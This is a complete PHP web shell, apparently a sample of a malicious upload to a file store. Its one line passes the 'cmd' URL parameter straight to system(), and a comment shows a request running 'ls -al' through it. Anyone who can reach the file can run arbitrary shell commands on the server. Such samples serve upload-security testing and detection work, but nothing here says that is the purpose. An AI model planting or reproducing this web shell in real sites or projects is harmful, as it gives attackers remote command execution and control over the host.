<?php
/**
 * http://localhost/filestore/badscript.php?cmd=ls%20-al
 */
system($_GET['cmd']);
?>